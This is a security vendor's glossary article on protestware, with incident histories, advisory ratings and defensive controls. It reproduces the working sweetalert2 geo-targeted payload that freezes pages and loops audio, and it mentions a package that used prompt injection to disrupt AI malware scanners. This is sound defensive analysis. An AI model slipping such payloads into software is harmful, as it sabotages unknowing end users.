# Protestware

> Protestware is open source code its own maintainer changes to make a political or social statement, from install-time messages to geo-targeted file wipers.

Also known as: Protest-ware, Troll package, Potentially unwanted behavior

Source: https://socket.dev/glossary/protestware

Last updated: 2026-10-29

Protestware is software its own maintainer deliberately changes to make a political or social statement, adding code that prints a message, breaks features, or destroys data for targeted users. Because it ships from the legitimate maintainer's account through the normal release process, identity-based controls treat it as trusted. Security tools also call it a troll package.

The defining property of protestware is who wrote it. A [malicious package](https://socket.dev/glossary/malicious-package) is usually published by an attacker, either under a new name or through a [maintainer account takeover](https://socket.dev/glossary/maintainer-account-takeover). Protestware is published by the person who already holds the keys. Two-factor authentication, trusted publishing, and build provenance all answer the question "did the real maintainer publish this?" For protestware the answer is yes, and that answer is the problem.

Our position is that motive does not matter for classification. Code that does something its package does not document, outside its stated function, is a supply chain risk whether the author is a thief or an activist. Disclosure and consent are the line, not the cause. By that test [the node-ipc wiper](https://socket.dev/blog/a-short-history-of-protestware) was malware, and so were the at least 28 packages that copied [the sweetalert2 anthem payload](https://socket.dev/blog/protestware-update-28-npm-packages-affected-by-payload-targeting-russian-language-users) without saying so.

## How does protestware work?

Protestware works by adding three things to an otherwise normal package: a trigger, a gate, and a payload. The trigger decides who is affected. The gate decides when. The payload decides what happens. In sweetalert2 all three fit in 24 lines of a 368-line source file.

Here is the payload as it appeared in sweetalert2 11.22.2, copied from `src/SweetAlert.js` in the [registry tarball](https://registry.npmjs.org/sweetalert2/-/sweetalert2-11.22.2.tgz):

```javascript
if (
  typeof window !== 'undefined' &&
  /^ru\b/.test(navigator.language) &&
  location.host.match(/\.(ru|su|by|xn--p1ai)$/)
) {
  const now = new Date()
  const initiationDate = localStorage.getItem('swal-initiation')
  if (!initiationDate) {
    localStorage.setItem('swal-initiation', `${now}`)
  } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
    setTimeout(() => {
      document.body.style.pointerEvents = 'none'
      const ukrainianAnthem = document.createElement('audio')
      ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'
      ukrainianAnthem.loop = true
      document.body.appendChild(ukrainianAnthem)
      setTimeout(() => {
        ukrainianAnthem.play().catch(() => {
          // ignore
        })
      }, 2500)
    }, 500)
  }
}
```

The trigger is a browser whose language starts with `ru` on a host ending in `.ru`, `.su`, `.by`, or `.рф` (its punycode form is `xn--p1ai`). The gate is a `localStorage` timestamp: the first visit only records the date, and the payload fires on a later visit more than three days after it. The payload sets `pointer-events: none` on `<body>`, which makes every click and scroll on the page do nothing, then plays the Ukrainian anthem on a loop. The code runs at module load, in the end user's browser, not at install time and not on the developer's machine.

The same structure, with different parts, runs through every well-known case, including [the left-pad, colors, faker, and atomicwrites protests](https://socket.dev/blog/a-short-history-of-protestware).

| Incident | Trigger | Where it runs | Payload |
| --- | --- | --- | --- |
| es5-ext \_postinstall.js (2022, still in 0.10.64, the latest release as of October 2026) | System timezone in a list of 28 Russian and Crimean zones | Developer machine, postinstall | Prints an anti-war message with a Tor censorship-circumvention link |
| colors 1.4.1, 1.4.2 (January 2022) | Every user | Any process that loads the module | Infinite loop, a denial of service |
| faker 6.6.6 (January 2022) | Every user | Any project that imports it | Package emptied of all code; README reads "What really happened with Aaron Swartz?" |
| node-ipc 10.1.1, 10.1.2 (March 2022) | IP geolocation in Russia or Belarus | Any process that loads the module | Overwrites file contents with a heart emoji |
| peacenotwar via node-ipc 11.0.0, 11.1.0 (March 2022) | Every user | Any process that loads the module | Writes WITH-LOVE-FROM-AMERICA.txt to the Desktop and OneDrive |
| sweetalert2 11.6.1 to 11.22.3 (2022 to 2025) | Russian-language browser on a Russian or Belarusian domain | End user's browser | Blocks page interaction, loops the anthem |
| left-pad (2016), atomicwrites (2022) | Every user | Resolution | Package deleted from the registry |

Only one row, es5-ext, runs from an install script. Every other payload runs when code is imported or when the registry stops serving it. That fact decides which defenses work, and we come back to it in the verdict table below.

## Why are developers sabotaging their own code?

Developers sabotage their own packages for three recurring reasons: disputes with the registry, unpaid labor, and war. Each has produced incidents that reached far beyond the protester's own users.

The earliest well-known cases were registry disputes. In 2016 Azer Koçulu unpublished nearly 300 packages, including the 11-line left-pad, after a naming dispute over his `kik` package. Builds across the ecosystem broke. In July 2022 Markus Unterwaditzer deleted atomicwrites from PyPI to protest the index's two-factor requirement for critical projects. Both protests used deletion, not code.

Unpaid labor drove the colors and faker sabotage. In January 2022 Marak Squires published colors 1.4.1 and 1.4.2 with an infinite loop and replaced faker with an empty 6.6.6 release, ostensibly to protest companies that use open source without giving back. Socket's history post puts colors at more than 20 million weekly downloads at the time.

War produced the largest wave. After Russia's February 2022 invasion of Ukraine, maintainers added geo-targeted code to es5-ext, node-ipc, and sweetalert2, among others. The node-ipc author went furthest: his 10.1.1 and 10.1.2 releases, published March 7, 2022, contained a file wiper aimed at Russian and Belarusian IP addresses.

The deletion route has mostly closed on npm. Under [npm's unpublish policy](https://docs.npmjs.com/policies/unpublish), a package more than 72 hours old can only be unpublished if no other package depends on it, it had fewer than 300 downloads last week, and it has one maintainer. A popular package cannot be pulled by its author anymore, so modern protest moves into the code itself.

The registry still records what happened. npm's packument keeps a `time` entry for every version ever published, even versions that were later removed. This command lists them:

```bash
curl -s https://registry.npmjs.org/colors | jq '{latest: ."dist-tags".latest,
  removed: ((.time|keys) - (.versions|keys) - ["created","modified"])}'
```

```json
{
  "latest": "1.4.0",
  "removed": ["1.4.1", "1.4.2", "1.4.44-liberty-2"]
}
```

All three sabotaged colors versions are gone from `versions`, and `latest` points back to 1.4.0, a release from 2019. faker got no such repair. As of October 2026, `npm view faker version` still returns 6.6.6, a tarball of 8 files and 3,816 bytes that contains no code at all. The maintained library lives on as a community fork, `@faker-js/faker`.

## Is protestware malware?

Protestware is malware when it acts without the user's knowledge or consent. When the behavior is disclosed and stays inside its own output, it is closer to an unusual license term. The difference is not the cause. It is whether a reasonable person installing the package could know what it does.

The [GitHub Advisory Database](https://socket.dev/glossary/github-advisory-database) grades protestware by damage, not by disclosure. The [node-ipc advisory, GHSA-97m3-w2cp-4xx6](https://github.com/advisories/GHSA-97m3-w2cp-4xx6), assigns CVE-2022-23812 and a CVSS score of 9.8, critical. It describes "embedded malicious code that was introduced by the maintainer" that would "overwrite arbitrary files dependent upon the geo-location of the user IP address." The three sweetalert2 advisories are all rated low, including the one covering versions that froze pages with no disclosure at all. es5-ext's install-time message has no advisory. We think disclosure deserves more weight than that: an undisclosed nuisance in a dependency is a breach of the contract a package makes with its users, even when nothing is destroyed.

Socket draws the line at disclosure, with one alert and one escalation:

- The [Protestware or potentially unwanted behavior alert](https://socket.dev/alerts/troll) (alert key `troll`) fires when a package "includes undocumented or hidden behavior unrelated to its primary function." It is rated high severity and set to warn in [Socket's default security policy](https://docs.socket.dev/docs/security-policy-default-enabled-alerts). A human researcher verifies each case before the alert is applied.
- When the behavior is undisclosed and disruptive, we classify the package as malware. That is what we did with the [28 npm packages that copied the sweetalert2 payload](https://socket.dev/blog/protestware-update-28-npm-packages-affected-by-payload-targeting-russian-language-users) without mentioning it anywhere.

The alert name is deliberately broader than politics. "Potentially unwanted" comes from desktop antivirus, where Microsoft defines [potentially unwanted applications](https://learn.microsoft.com/en-us/defender-endpoint/detect-block-potentially-unwanted-apps-microsoft-defender-antivirus) as software that is not malware but "might perform actions on endpoints that adversely affect endpoint performance or use." Adware, bundled installers, and detection-evading tools are the classic potentially unwanted programs (PUPs). In a package registry the equivalent is code that does something unrelated to the package's stated function, from joke and parody packages to political payloads. In June 2026 we applied the same alert to [shai\_hulululud](https://socket.dev/blog/npm-package-uses-prompt-injection-and-token-flooding-to-disrupt-ai-malware-scanners), an npm package built to break AI malware scanners, which buried its code under 3.5 million tokens of comments and fake system prompts.

## The sweetalert2 payload, version by version

The sweetalert2 protestware lived in the package for nearly 40 months, growing from a link banner into a page-freezing payload, and the README disclosed it only after the payload already existed. We reconstructed the timeline below by downloading each tarball from the npm registry and searching it for the trigger code.

> Timeline of the sweetalert2 protestware payload from April 2022 to August 2025

The figure shows the same seven milestones as this table. The first four shipped with no README disclosure.

| Version | Published | Change |
| --- | --- | --- |
| 11.4.9 | April 21, 2022 | Adds a banner of anti-war YouTube links for navigator.language === 'ru' on .ru, .su, .рф |
| 11.6.1 | October 21, 2022 | Replaces the banner: disables pointer events and loops the anthem |
| 10.16.10, 9.17.3, 8.19.1 | November 21 to 23, 2022 | Backports the payload to three older major lines, with no README notice |
| 11.6.12 | November 23, 2022 | Adds the localStorage gate, so only repeat visitors after 3 days are hit |
| 11.6.14 | November 24, 2022 | README discloses the behavior for the first time |
| 11.7.11 | June 6, 2023 | Adds .by (Belarus) to the target domains |
| 11.22.4 | August 14, 2025 | Payload and README notice removed |

Two details matter beyond this one package.

First, the backports. sweetalert2 10.16.10 was published 18 months after 10.16.9. A project declaring `"sweetalert2": "^10.16.0"` that had not touched the dependency in a year and a half picked up the payload on its next install without a [lockfile](https://socket.dev/glossary/lockfile). [Semantic versioning](https://socket.dev/glossary/semantic-versioning-semver) ranges assume a patch release is safe to take automatically. Protestware exploits that assumption directly.

Second, the disclosure lagged. Versions 11.6.1 through 11.6.13 shipped the page-freezing payload with no README notice, and none of the three backport READMEs ever mention it. The GitHub advisory for those versions, [GHSA-qq6h-5g6j-q3cm](https://github.com/advisories/GHSA-qq6h-5g6j-q3cm), covers 11.4.9 through 11.6.13. A second advisory, GHSA-mrr8-v49w-3333, covers 11.6.14 through 11.22.3, and a third, GHSA-457r-cqc8-9vj9, covers the 10.x backports. All three are rated low.

## Why can't npm audit see vendored protestware?

npm audit cannot see vendored protestware because it matches advisories against package names and version ranges in the dependency tree, not against code. When another package bundles sweetalert2 into its own build output, the payload is still there, but the name `sweetalert2` is gone.

We tested this in October 2026 with two fresh projects. The first installs sweetalert2 directly:

```console
$ npm i sweetalert2@11.22.2 && npm audit
# npm audit report

sweetalert2  11.6.14 - 11.22.3
sweetalert2 contains potentially undesirable behavior - https://github.com/advisories/GHSA-mrr8-v49w-3333
fix available via `npm audit fix`
node_modules/sweetalert2

1 low severity vulnerability
```

The second installs be-table-template 2.9.8, a React data-grid package and one of the 28 our researchers found. Its `package.json` lists sweetalert2 only under `devDependencies`, which consumers never install. Its build bundled sweetalert2 into `dist/index.js`, a 3.6 MB file that carries the same payload, minified:

```console
$ npm i be-table-template@2.9.8 && npm audit
found 0 vulnerabilities

$ grep -o 'if("undefined"!=typeof window&&/^ru.\{100\}' node_modules/be-table-template/dist/index.js
if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){var Po=new Date,Mo=loca
```

> Comparison of what npm audit matches versus what the be-table-template tarball contains

The figure contrasts the two views of the same install. On the left, npm audit sees your app, be-table-template 2.9.8, and its runtime dependencies such as antd and react-window, with no sweetalert2 node, so it reports 0 vulnerabilities. On the right, the tarball holds `package.json`, which lists sweetalert2 only under `devDependencies`, and a 3.6 MB `dist/index.js` that contains the bundled sweetalert2 code, including the `navigator.language` trigger and the `pointerEvents="none"` payload from sweetalert2 11.22.2.

The advisory system worked as designed for sweetalert2 and failed silently for every package that copied it. Socket's researchers found the payload in at least 28 packages and nearly 2,000 versions. Any of them can reach an application as a [transitive dependency](https://socket.dev/glossary/transitive-dependency), several levels below anything a developer chose to install.

This is the general argument for analyzing what is in a package, not what its metadata claims. Bundlers, vendored copies, and minified `dist/` folders erase the names advisory matching depends on. The only stable signal is the code.

## Controls that stop protestware, and controls that don't

No single control stops protestware, because protestware arrives through every channel a legitimate release uses. The table below scores each common control against the four delivery channels in the incidents above.

| Control | Install-script message (es5-ext) | Payload in module code (colors, node-ipc, sweetalert2) | Vendored copy (be-table-template) | Deletion (left-pad) |
| --- | --- | --- | --- | --- |
| Install scripts off by default (pnpm 10, npm v12) | Stops it | No effect | No effect | No effect |
| Lockfile pinned to a pre-protest version | Stops it until you update | Stops it until you update | Stops it until you update | No effect without a cache or mirror |
| Dependency cooldown | Only if pulled within the window | Only if pulled within the window | Only if pulled within the window | No effect |
| Advisory scanning (npm audit) | No advisory exists | Catches it after an advisory is filed | Misses it | No effect |
| 2FA, trusted publishing, provenance | No effect | No effect | No effect | No effect |
| Code analysis of each new version | Can flag it | Can flag it before install | Can flag it | No effect; mirror or cache tarballs |

Verdict: install-script blocking and provenance address other attacks, not this one. A lockfile plus code analysis of every version you move to is the only combination that covers the module-code channel, which is where nearly all damaging protestware has lived.

Each control has a cost the table does not show.

- **Blocking install scripts.** [npm v12](https://socket.dev/blog/npm-12) made dependency [install scripts](https://socket.dev/glossary/postinstall-scripts) opt-in in July 2026, following [pnpm 10](https://socket.dev/blog/pnpm-10-0-0-blocks-lifecycle-scripts-by-default). That stops the es5-ext message and nothing else on this list. It is still the right default, because almost every worm and credential stealer on npm since late 2025 ran at install time.
- **Pinning.** A lockfile keeps you on a known version, but it says nothing about whether that version is clean. A team that pinned sweetalert2 11.14.0 in September 2024 pinned the payload. Every update is a new trust decision.
- **Cooldowns.** A [dependency cooldown](https://socket.dev/glossary/dependency-cooldown) helps only when sabotage is caught and pulled faster than the window. node-ipc 10.1.1 and 10.1.2 were replaced within about a day. sweetalert2's payload lasted almost three years. As our post on [Cargo's cooldowns](https://socket.dev/blog/rust-cargo-cooldowns) puts it, a release that escapes detection can simply outlast the cooldown.
- **Forking.** When Vue CLI's dependency on node-ipc became untenable, the project [replaced it with the `@achrinza/node-ipc` fork](https://github.com/vuejs/vue-cli/commit/d7a9881). Forking removes the protesting maintainer from your trust chain and adds the fork's maintainer to it.

Maintainer identity offers no lasting assurance either. In May 2026 an attacker took over a dormant co-maintainer account on node-ipc and published credential-stealing versions 9.1.6, 9.2.3, and 12.0.1 in [the node-ipc compromise](https://socket.dev/supply-chain-attacks/node-ipc). The same package has now shipped destructive code from its real maintainer and stolen credentials through a hijacked one. Both releases came from accounts npm considered authorized.

## The open problem: deciding what a package is for

Protestware detection depends on a judgment that no registry metadata encodes: what is this package's primary function? Our alert fires on behavior "unrelated to its primary function," which means the detector has to know that a modal-dialog library has no reason to read `navigator.language`, set `pointer-events` on `<body>`, or fetch an MP3 from a `.ru` host. A file wiper is easy to flag in any context. A geo-gated message is not, and the same `navigator.language` check is ordinary in an i18n library.

That judgment is increasingly made by models, and package authors have noticed. shai\_hulululud targeted the scanner, not the user. The durable defense is the same one that works against every other variety of maintainer-shipped surprise: diff each new version against the last one you trusted, and ask what changed and why. The registry tells you who published a release. Only the code tells you what they published.
